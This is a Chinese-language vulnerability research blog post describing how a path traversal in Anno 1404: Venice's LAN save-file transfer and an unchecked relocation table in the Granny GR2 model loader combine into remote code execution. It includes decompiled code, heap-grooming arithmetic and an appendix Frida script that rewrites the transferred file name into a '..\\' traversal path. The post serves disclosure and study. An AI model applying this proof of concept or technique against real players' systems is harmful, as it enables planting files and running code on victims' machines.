利用Anno 1404漏洞实现远程代码执行:从路径遍历到堆溢出

本文深入分析了经典策略游戏《Anno 1404》及其资料片“威尼斯”中的一系列安全漏洞。研究发现了路径遍历、不安全的文件传输机制以及Granny 3D模型文件解析中的堆溢出漏洞。结合利用这些漏洞,攻击者可在多人游戏模式中实现远程代码执行。

利用Anno 1404

撰写者:Thomas Dubier - 16/12/2025 - 分类:漏洞利用 - 下载

Anno 1404是一款由Related Designs开发、育碧发行的策略游戏。这是一款侧重于城市管理和建设的即时战略游戏。其2010年发布的资料片《Anno 1404:威尼斯》包含了在线和局域网多人游戏模式。在我们的研究过程中,发现了若干漏洞。结合利用这些漏洞,可以在多人游戏模式中执行任意代码。

目录

  • 引言
  • 网络协议
  • RDA格式
  • GR2格式
  • 漏洞
  • 利用
  • 演示
  • 附录

引言

《Anno 1404:威尼斯》是一款可在Steam、Ubisoft Connect或GOG.com等多个平台获得的策略游戏。我们的研究基于GOG上可用的、不含DRM的版本 v2.01.5010。在此版本中,仅局域网多人游戏模式可用。

多人游戏模式允许保存游戏以便后续继续。主机会为自身和每个玩家创建一个 .sww 格式的保存文件。当客户端连接到托管已保存游戏的主机时,该文件会自动传输。这在漏洞研究方面提供了有趣的前景:文件是如何传输的?对允许传输的文件是否有任何限制?由于保存格式是私有的,这也可能成为一个有趣的攻击面。此外,该进程是32位的,并且没有启用任何缓解措施,如下方System Informer截图所示。

在启用3D加速的VirtualBox虚拟机中启动游戏时,存在一些图形兼容性问题。这可以通过在文件 %APPDATA%\Ubisoft\Anno1404Addon\Config\Engine.ini 中强制指定DirectX版本来修复。

1
2
3
4
<UseDDSTextures>1</UseDDSTextures>
<DirectXVersion>9</DirectXVersion> <!-- force usage of DirectX 9 -->
<EnableTextureMemoryManagement>0</EnableTextureMemoryManagement>
<EnableModelMemoryManagement>0</EnableModelMemoryManagement>

网络协议

游戏主要使用C++开发。RTTI(运行时类型信息)和DLL导出的函数名称方便了逆向工程工作。在网络方面,游戏拥有自己的基于UDP的协议,实现在DLL NetComEngine3.dll 中。首先,我们列出了服务器和客户端之间传输的不同消息。类型为RMC的消息尤其引起了我们的注意,因为它们能触及一个巨大的攻击面。根据下面方法中的日志字符串,程序通过一个RPC(远程过程调用)系统暴露对象。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
char __stdcall RMC_CallMessage(ByteStream *input, char a3, ByteStream *source, WString *a5)
{
  ByteStream *v4; // esi
  unsigned int targetObject; // ebp
  const wchar_t *v6; // eax
  const wchar_t *targetName; // [esp-Ch] [ebp-24h]
  const wchar_t *methodName; // [esp-8h] [ebp-20h]
  unsigned int v10; // [esp+8h] [ebp-10h] BYREF
  ByteStream *v11; // [esp+Ch] [ebp-Ch] BYREF
  int Flags; // [esp+10h] [ebp-8h] BYREF
  int methodID; // [esp+14h] [ebp-4h] BYREF

  v4 = input;
  Flags = 0;
  v11 = 0;
  v10 = 0;
  ByteStream::ReadElements(input, &input, 2, 1);
  ByteStream::ReadElements(v4, &Flags, 4, 1);
  ByteStream::ReadInteger(v4, (unsigned int *)&v11);
  ByteStream::ReadInteger(v4, &v10);
  ByteStream::ReadElements(v4, &methodID, 2, 1);
  if ( (_BYTE)source )
  {
    targetObject = v10;
    source = v11;
    methodName = ClassToMethodName(&v10, methodID);
    targetName = TargetName(&v10);
    v6 = TargetName(&v11);
    WString::Format(
      a5,
      (wchar_t *)L"RMC_CALL message RMC_ID: %d, Flags: %d, Source: %x (%s), TargetObject: %x (%s), Method: %s",
      (unsigned __int16)input,
      Flags,
      source,
      v6,
      targetObject,
      targetName,
      methodName);
  }
  if ( a3 )
    return sub_100633D0((int)v4, (unsigned __int16 *)&input, &v11, &Flags, &v10, (__int16 *)&methodID);
  else
    return 1;
}

根据函数 RMC_CallMessage 中显示的日志消息,RMC消息由以下字段组成:ID、Flags、Source、TargetObject 和 Method。暴力枚举所有可能的类ID和方法ID可以全面了解通过此类消息可触及的攻击面。为此,编写了一个Frida脚本 explore-surface.js,其输出如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
> frida -l explore-surface.js Addon.exe

800000 = RootDO
c00000 = Station
   - 10 = SignalAsFaulty
1000000 = Session
   - 8 = RetrieveURLs
   - 9 = SynchronizeTermination
1400000 = IDGenerator
   - 4 = RequestIDRangeFromMaster
1800000 = PromotionReferee
   - 5 = ConfirmElection
   - 6 = DeclinePromotion
   - 7 = ElectNewMaster
3000000 = DefaultCell
4800000 = SessionClock
   - 11 = AdjustTime
   - 12 = SyncRequest
   - 13 = SyncResponse
7400000 = Player
   - 16 = ForceKickPlayer
   - 17 = Kick
   - 18 = OnCancelSendFile
   - 19 = OnReceivedFileData
   - 20 = OnSendFileData
   - 21 = OnSendFileInit
7800000 = Chat
   - 14 = onNewChatLine
7c00000 = GameSettings
   - 15 = ExecuteOnHost
8000000 = SyncProtocol
   - 22 = ClientToServerPing
   - 23 = ClientToServerSync
   - 24 = ConfirmHost
   - 25 = IdentifyHost
   - 26 = LeftGame
   - 27 = RequestMsgResend
   - 28 = ServerToClientPing
   - 29 = ServerToClientSync

该脚本显示每个对象的有效ID和名称,以及每个有效方法的ID和名称。我们发现了与文件传输相关的方法 OnSendFileDataOnSendFileInitOnReceivedFileDataOnCancelSendFile。在服务器端,方法 rd::netcom3::CNetComEngine3::sendFile 用于向客户端发送文件。一个初始数据包 OnSendFileInit 被发送到客户端,其中包含保存文件的名称(默认为 Sauvegarde.sww)。我们可以使用Frida在保存文件名中添加多个 ../ 来测试客户端的行为。该脚本可在附录中找到。

如上图所示,保存文件被写入 C:\User\user,而不是 C:\Users\user\Documents\ANNO 1404 Venise\Savegames\MPShare。客户端似乎没有对文件名进行验证。这种首次发现的路径遍历漏洞,允许以应用程序的权限在系统上几乎任何位置放置文件。游戏安装目录的ACL(访问控制列表)是宽松的,允许用户程序在其中放置任何文件。

在Windows上,动态链接库首先从应用程序目录加载,然后从系统目录加载。我们可以在游戏目录中放置一个DLL,该DLL将在下次启动游戏时被加载。这可以在游戏重启后实现任意代码执行。我们的目标是无需重启游戏即可执行代码。主要思路是用一个损坏的资源文件替换正常的资源文件。

RDA格式

Anno系列游戏使用RDA格式存储各种游戏资源(3D模型、声音、纹理、地图等)。这些存档可以在 addonmaindata 目录中找到。诸如RDAExplorer之类的工具可以浏览、提取和修改存档内容。

RDA格式没有官方文档,但GitHub上有一份基于逆向工程的文档1。 简而言之,一个RDA文件被分割成大小可变的链式数据块。每个块包含一定数量的文件及其压缩后的元数据。文件的元数据指示其在存档中的位置和大小。数据使用zlib库实现的DEFLATE算法进行压缩。下图总结了RDA存档的结构。

某些块可能会根据元数据的 flag 字段进行加密。所使用的加密基于XOR和一个用常量初始化的伪随机数生成器。以下是解密函数的伪代码。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
char __cdecl xor_decrypt(wchar_t *buf, unsigned int size)
{
  signed int index; // esi

  srand(0xA2C2Au);
  index = 0;
  if ( size >> 1 )
  {
    do
      buf[index++] ^= rand();
    while ( index < (int)(size >> 1) );
  }
  return 1;
}

使用Process Monitor,我们观察到对存档的大量读访问。因此,元数据可能在游戏启动时加载到内存中。随后,文件内容只在需要时才加载到内存。我们观察到在多人游戏会话中会加载许多 .gr2 文件。

GR2格式

.gr2 文件是以Granny Studio开发的专有格式存储的3D模型。这种格式曾在当时的许多视频游戏中使用,例如MMORPG《仙境传说》。围绕该游戏的社区部分记录了GR2格式2。Anno 1404使用一个名为 granny2.dll 的独立库来处理此类文件。简而言之,该格式允许在不同部分(Section)中存储模型的几何信息(Mesh)、骨架、纹理和使用的材质。下图展示了 .gr2 文件的结构:

函数 GrannyReadEntireFile 用于将Granny 3D文件加载到内存中。程序首先读取文件头(Header)和节区表(Section Table)。每个节区被解压缩后加载到内存中(通过 malloc 为每个节区保留空间)。然后,程序为每个节区应用重定位表(Relocation Table)。节区内很可能包含指向其他节区中对象的引用。由于节区没有映射到固定地址,库需要更新这些引用。重定位表中的条目由三个元素组成:

  • Section Offset:将要更新的引用所在的位置(相对于关联的重定位表的节区起始位置)。
  • Section Number:标识包含被指向对象的节区。
  • Offset:被引用对象相对于其所属节区起始位置的偏移量。

漏洞

在研究应用重定位的机制时,发现了一个漏洞。重定位表中的条目没有经过验证,具体来说:

  1. SectionNumber 成员未经验证,这可能导致从 SectionArray 数组进行越界读取(SectionArray 包含每个节区的基地址)。[1]
  2. SectionOffset 成员未经验证,这可能导致向 destination 数组进行越界写入。[2]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int *__cdecl GrannyGRNFixUp_0(DWORD RelocationCount, Relocation *PointerFixupArray, int *SectionArray, char *destination)
{
  int *result; // eax
  DWORD v6; // ebp
  Relocation *v7; // ecx
  int v8; // edx

  result = (int *)RelocationCount;
  if ( RelocationCount )
  {
    v6 = RelocationCount;
    do
    {
      v7 = PointerFixupArray;
      v8 = SectionArray[PointerFixupArray->SectionNumber]; // [1] Out-of-bound read
      result = (int *)&destination[PointerFixupArray->SectionOffset]; // [2] Compute write address
      ++PointerFixupArray;
      *result = v8;  // [2] Out-of-bound write
      if ( v8 )
        *result = v8 + v7->Offset;
      --v6;
    }
    while ( v6 );
  }
  return result;
}

如果知道节区(destination)的内存地址,可以设想构建一个内存任意写入原语。然而,由于ASLR,节区并不总是驻留在同一地址。

利用

有可能达成一种有趣的内存配置,其中节区地址数组(SectionArray)位于第一个节区数据内容之前。在这种情况下,节区指针数组和节区内容之间的偏移量是已知的。 为了实现两个相邻的分配,需要了解一些Windows 10堆的工作原理。《Windows 10 Segment Heap Internals》白皮书3很好地解释了底层机制。有两种类型的分配器:NT堆(在我们的案例中使用)和分段堆(Segment Heap)。NT堆分配器分为两个组件:

  • LFH(低碎片堆):用于小尺寸分配。
  • backend:用于较大尺寸的分配。

决定使用哪个分配器的阈值由 ntdll.dll 中函数 RtlpAllocateHeapInternal 内定义的常量 RtlpLargestLfhBlock 决定。该值等于 0x4000。自Windows 8起,LFH受到分配随机化的影响,我们无法确保一个数据块被分配在另一个数据块旁边,这使得利用变得不可靠。而backend分配器具有确定性行为。因此,设计了一个包含大量节区的文件,使得节区指针数组被分配在一个大于0x4000字节的块中。为了填补堆中可能存在的空洞,我们创建了多个.gr2文件。这提高了漏洞利用的可靠性。下图表示文件加载到内存后的布局。

结构体 GrannyFile 的大小取决于节区数量 n。当 n = 2720 时,我们得到所需的大小:

1
0x20 + 0x20 + n * 1 + n * 1 + n * 4 = 0x4000

第一个节区的重定位表被构造成可以修改指针 SectionContentArray[1]。库 granny.dll 中的分配器依赖于Windows分配器,但添加了一个0x1F字节的头。Windows分配器又添加了一个0x10字节的头,并且分配的大小根据系统类型(32位或64位)对齐到8或16字节的倍数。因此,一个 -0x3FF0 (0x4000 - 0x20 - 0x20 + 0x30) 的偏移量允许我们写入 SectionContentArray 数组。

现在第二个节区的地址已知,我们可以通过应用于第二个节区的重定位表在内存中写入任意值。granny.dll 库不受ASLR保护,并且DEP未启用。因此,我们可以替换库中的 alloc/free 回调以执行代码。

演示

这些漏洞已成功在Windows 10 (ver 10.0.19045.2965) 上被利用。

[视频文件]

附录

用于测试路径遍历漏洞的Frida脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const ByteStreamWriteStringPtr = ptr('0x1003A250');

const ByteStreamWriteStringFn = new NativeFunction(ByteStreamWriteStringPtr,'pointer',['pointer','pointer'])

const mem = Memory.alloc(1024);
mem.writeUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(ByteStreamWriteStringFn, {
  onEnter(args) {
    
    if(args[1].readPointer().readUtf16String().includes('Sauvegarde.sww'))
    {
        console.log(hexdump(args[1].readPointer(), {
            offset: 0,
            length: 256,
            header: true,
            ansi: true
        }));

        args[1].writePointer(mem);

        console.log(hexdump(args[1].readPointer(), {
            offset: 0,
            length: 256,
            header: true,
            ansi: true
        }));
    }

  }
});
  1. https://github.com/lysanntranvouez/RDAExplorer/wiki/RDA-File-Format
  2. https://github.com/rdw-archive/RagnarokFileFormats/blob/master/GR2.MD
  3. https://blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segmen
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计